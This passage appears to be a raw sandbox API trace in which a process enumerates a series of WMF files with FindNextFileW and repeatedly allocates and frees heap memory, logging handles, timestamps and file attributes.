ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xfd302000, ftLastWriteTime.dwHighDateTime=0x1bdcf1e, nFileSizeHigh=0x0, nFileSizeLow=0x61c, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18200_.WMF", cAlternateFileName="")) returned 1 [0073.661] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa94a08 [0073.661] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa94a08) returned 1 [0073.661] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa94a08 [0073.661] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa94a08) returned 1 [0073.661] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa94a08 [0073.661] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa63f70 [0073.661] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa832f8 [0073.661] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa94a08) returned 1 [0073.661] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd3c3c400, ftCreationTime.dwHighDateTime=0x1bdcf1f, ftLastAccessTime.dwLowDateTime=0xbcbb3900, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xd3c3c400, ftLastWriteTime.dwHighDateTime=0x1bdcf1f, nFileSizeHigh=0x0, nFileSizeLow=0x6ec, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18201_.WMF", cAlternateFileName="")) returned 1 [0073.661] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa94a08 [0073.661] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa94a08) returned 1 [0073.661] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa94a08 [0073.661] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa94a08) returned 1 [0073.661] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa94a08 [0073.661] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa63f90 [0073.661] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa83400 [0073.661] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa94a08) returned 1 [0073.661] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6adbc800, ftCreationTime.dwHighDateTime=0x1bdfe4c, ftLastAccessTime.dwLowDateTime=0xbcbb3900, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x6adbc800, ftLastWriteTime.dwHighDateTime=0x1bdfe4c, nFileSizeHigh=0x0, nFileSizeLow=0x56c, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18202_.WMF", cAlternateFileName="")) returned 1 [0073.661] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa94a08 [0073.662] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa94a08) returned 1 [0073.662] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa94a08 [0073.662] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa94a08) returned 1 [0073.662] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa94a08 [0073.662] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa63fb0 [0073.662] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa83508 [0073.662] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa94a08) returned 1 [0073.662] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3f586200, ftCreationTime.dwHighDateTime=0x1bdcf1d, ftLastAccessTime.dwLowDateTime=0xbcbb3900, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x3f586200, ftLastWriteTime.dwHighDateTime=0x1bdcf1d, nFileSizeHigh=0x0, nFileSizeLow=0x822, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18203_.WMF", cAlternateFileName="")) returned 1 [0073.662] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa94a08 [0073.662] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa94a08) returned 1 [0073.662] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa94a08 [0073.662] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa94a08) returned 1 [0073.662] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa94a08 [0073.662] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa63fd0 [0073.662] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa83610 [0073.662] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa94a08) returned 1 [0073.662] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd7db3a00, ftCreationTime.dwHighDateTime=0x1bddcb2, ftLastAccessTime.dwLowDateTime=0xbcbb3900, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xd7db3a00, ftLastWriteTime.dwHighDateTime=0x1bddcb2, nFileSizeHigh=0x0, nFileSizeLow=0x814, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18204_.WMF", cAlternateFileName="")) returned 1 [0073.662] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa94a08 [0073.662] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa94a08) returned 1 [0073.662] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa94a08 [0073.663] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa94a08) returned 1 [0073.663] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa94a08 [0073.663] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa63ff0 [0073.663] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa83718 [0073.663] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa94a08) returned 1 [0073.663] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x58631200, ftCreationTime.dwHighDateTime=0x1bdcf21, ftLastAccessTime.dwLowDateTime=0xbcbd9a60, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x58631200, ftLastWriteTime.dwHighDateTime=0x1bdcf21, nFileSizeHigh=0x0, nFileSizeLow=0x8da, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18205_.WMF", cAlternateFileName="")) returned 1 [0073.663] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa94a08 [0073.663] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa94a08) returned 1 [0073.663] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa94a08 [0073.663] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa94a08) returned 1 [0073.663] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa94a08 [0073.663] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa64010 [0073.663] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa83820 [0073.663] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa94a08) returned 1 [0073.663] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4dd5a600, ftCreationTime.dwHighDateTime=0x1bddc9f, ftLastAccessTime.dwLowDateTime=0xbcbd9a60, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x4dd5a600, ftLastWriteTime.dwHighDateTime=0x1bddc9f, nFileSizeHigh=0x0, nFileSizeLow=0x8da, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18206_.WMF", cAlternateFileName="")) returned 1 [0073.663] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa94a08 [0073.663] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa94a08) returned 1 [0073.663] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa94a08 [0073.663] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa94a08) returned 1 [0073.663] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa94a08 [0073.663] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa64030 [0073.664] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa83928 [0073.664] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa94a08) returned 1 [0073.664] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf5e8e00, ftCreationTime.dwHighDateTime=0x1bdcf20, ftLastAccessTime.dwLowDateTime=0xbcbd9a60, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xf5e8e00, ftLastWriteTime.dwHighDateTime=0x1bdcf20, nFileSizeHigh=0x0, nFileSizeLow=0xfbc, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18207_.WMF", cAlternateFileName="")) returned 1 [0073.664] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa94a08 [0073.664] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa94a08) returned 1 [0073.664] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa94a08 [0073.664] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa94a08) returned 1 [0073.664] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa94a08 [0073.664] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa64050 [0073.664] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa83a30 [0073.664] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x2fc0) returned 0xa94c50 [0073.664] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa88478) returned 1 [0073.664] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa94a08) returned 1 [0073.664] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4f714100, ftCreationTime.dwHighDateTime=0x1bdcf1f, ftLastAccessTime.dwLowDateTime=0xbcbd9a60, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x4f714100, ftLastWriteTime.dwHighDateTime=0x1bdcf1f, nFileSizeHigh=0x0, nFileSizeLow=0x1b28, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18208_.WMF", cAlternateFileName="")) returned 1 [0073.664] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa94a08 [0073.664] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa94a08) returned 1 [0073.664] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa94a08 [0073.664] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa94a08) returned 1 [0073.664] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa94a08 [0073.664] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa64070 [0073.664] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa83b38 [0073.665] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa94a08) returned 1 [0073.665] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96603600, ftCreationTime.dwHighDateTime=0x1bdcf21, ftLastAccessTime.dwLowDateTime=0xbcbd9a60, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x96603600, ftLastWriteTime.dwHighDateTime=0x1bdcf21, nFileSizeHigh=0x0, nFileSizeLow=0xc6e, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18209_.WMF", cAlternateFileName="")) returned 1 [0073.665] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa94a08 [0073.665] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa94a08) returned 1 [0073.665] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa94a08 [0073.665] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa94a08) returned 1 [0073.665] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa94a08 [0073.665] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa64090 [0073.665] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa83c40 [0073.665] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa94a08) returned 1 [0073.665] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28673f00, ftCreationTime.dwHighDateTime=0x1bdcf20, ftLastAccessTime.dwLowDateTime=0xbcbd9a60, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x28673f00, ftLastWriteTime.dwHighDateTime=0x1bdcf20, nFileSizeHigh=0x0, nFileSizeLow=0xc4c, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18210_.WMF", cAlternateFileName="")) returned 1 [0073.665] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa94a08 [0073.665] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa94a08) returned 1 [0073.665] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa94a08 [0073.665] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa94a08) returned 1 [0073.665] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa94a08 [0073.665] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa640b0 [0073.665] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa83d48 [0073.665] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa94a08) returned 1 [0073.665] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea699700, ftCreationTime.dwHighDateTime=0x1bdfe4c, ftLastAccessTime.dwLowDateTime=0xbcbffbc0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xea699700, ftLastWriteTime.dwHighDateTime=0x1bdfe4c, nFileSizeHigh=0x0, nFileSizeLow=0x738, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18211_.WMF", cAlternateFileName="")) returned 1 [0073.665] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa94a08 [0073.666] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa94a08) returned 1 [0073.666] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa94a08 [0073.666] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa94a08) returned 1 [0073.666] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa94a08 [0073.666] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa640d0 [0073.666] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa83e50 [0073.666] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa94a08) returned 1 [0073.666] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x85941c00, ftCreationTime.dwHighDateTime=0x1bddca6, ftLastAccessTime.dwLowDateTime=0xbcbffbc0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x85941c00, ftLastWriteTime.dwHighDateTime=0x1bddca6, nFileSizeHigh=0x0, nFileSizeLow=0x3d5c, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18212_.WMF", cAlternateFileName="")) returned 1 [0073.666] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa94a08 [0073.666] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa94a08) returned 1 [0073.666] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa94a08 [0073.666] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa94a08) returned 1 [0073.666] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa94a08 [0073.666] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa640f0 [0073.666] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa83f58 [0073.666] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa94a08) returned 1 [0073.666] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1638d100, ftCreationTime.dwHighDateTime=0x1bdcf1f, ftLastAccessTime.dwLowDateTime=0xbcbffbc0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x1638d100, ftLastWriteTime.dwHighDateTime=0x1bdcf1f, nFileSizeHigh=0x0, nFileSizeLow=0x704, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18213_.WMF", cAlternateFileName="")) returned 1 [0073.666] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa94a08 [0073.666] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa94a08) returned 1 [0073.666] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa94a08 [0073.667] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa94a08) returned 1 [0073.667] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa94a08 [0073.667] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa64110 [0073.667] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa84060 [0073.667] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa94a08) returned 1 [0073.667] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c0d7900, ftCreationTime.dwHighDateTime=0x1bdcf1f, ftLastAccessTime.dwLowDateTime=0xbcbffbc0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x6c0d7900, ftLastWriteTime.dwHighDateTime=0x1bdcf1f, nFileSizeHigh=0x0, nFileSizeLow=0x7fc, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18214_.WMF", cAlternateFileName="")) returned 1 [0073.667] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa94a08 [0073.667] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa94a08) returned 1 [0073.667] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa94a08 [0073.667] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa94a08) returned 1 [0073.667] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa94a08 [0073.667] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa64130 [0073.667] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa84168 [0073.667] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa94a08) returned 1 [0073.667] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b613000, ftCreationTime.dwHighDateTime=0x1bdcf1e, ftLastAccessTime.dwLowDateTime=0xbcbffbc0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x2b613000, ftLastWriteTime.dwHighDateTime=0x1bdcf1e, nFileSizeHigh=0x0, nFileSizeLow=0x6a4, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18215_.WMF", cAlternateFileName="")) returned 1 [0073.667] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa94a08 [0073.667] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa94a08) returned 1 [0073.667] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa94a08 [0073.667] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa94a08) returned 1 [0073.667] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa94a08 [0073.667] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa64150 [0073.668] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa84270 [0073.668] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa94a08) returned 1 [0073.668] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3cab3c00, ftCreationTime.dwHighDateTime=0x1bdcf20, ftLastAccessTime.dwLowDateTime=0xbcbffbc0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x3cab3c00, ftLastWriteTime.dwHighDateTime=0x1bdcf20, nFileSizeHigh=0x0, nFileSizeLow=0x726, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18216_.WMF", cAlternateFileName="")) returned 1 [0073.668] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa94a08 [0073.668] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa94a08) returned 1 [0073.668] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa94a08 [0073.668] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa94a08) returned 1 [0073.668] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa94a08 [0073.668] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa64170 [0073.668] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa84378 [0073.668] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa94a08) returned 1 [0073.668] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7ded1d00, ftCreationTime.dwHighDateTime=0x1bdcf1b, ftLastAccessTime.dwLowDateTime=0xbcbffbc0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x7ded1d00, ftLastWriteTime.dwHighDateTime=0x1bdcf1b, nFileSizeHigh=0x0, nFileSizeLow=0x1552, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18217_.WMF", cAlternateFileName="")) returned 1 [0073.668] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa94a08 [0073.668] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa94a08) returned 1 [0073.668] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa94a08 [0073.668] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa94a08) returned 1 [0073.668] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa94a08 [0073.669] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa64190 [0073.669] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa84480 [0073.669] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa94a08) returned 1 [0073.669] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8fcec000, ftCreationTime.dwHighDateTime=0x1bdcf1b, ftLastAccessTime.dwLowDateTime=0xbcc25d20, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x8fcec000, ftLastWriteTime.dwHighDateTime=0x1bdcf1b, nFileSizeHigh=0x0, nFileSizeLow=0x1212, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18218_.WMF", cAlternateFileName="")) returned 1 [0073.669] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa94a08 [0073.669] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa94a08) returned 1 [0073.669] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa94a08 [0073.669] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa94a08) returned 1 [0073.669] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa94a08 [0073.669] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa641b0 [0073.669] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa84588 [0073.669] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa94a08) returned 1 [0073.669] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4f247600, ftCreationTime.dwHighDateTime=0x1bdcf1e, ftLastAccessTime.dwLowDateTime=0xbcc25d20, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x4f247600, ftLastWriteTime.dwHighDateTime=0x1bdcf1e, nFileSizeHigh=0x0, nFileSizeLow=0x1136, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18219_.WMF", cAlternateFileName="")) returned 1 [0073.669] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa94a08 [0073.669] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa94a08) returned 1 [0073.669] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa94a08 [0073.669] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa94a08) returned 1 [0073.669] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa94a08 [0073.669] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa641d0 [0073.669] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa84690 [0073.670] 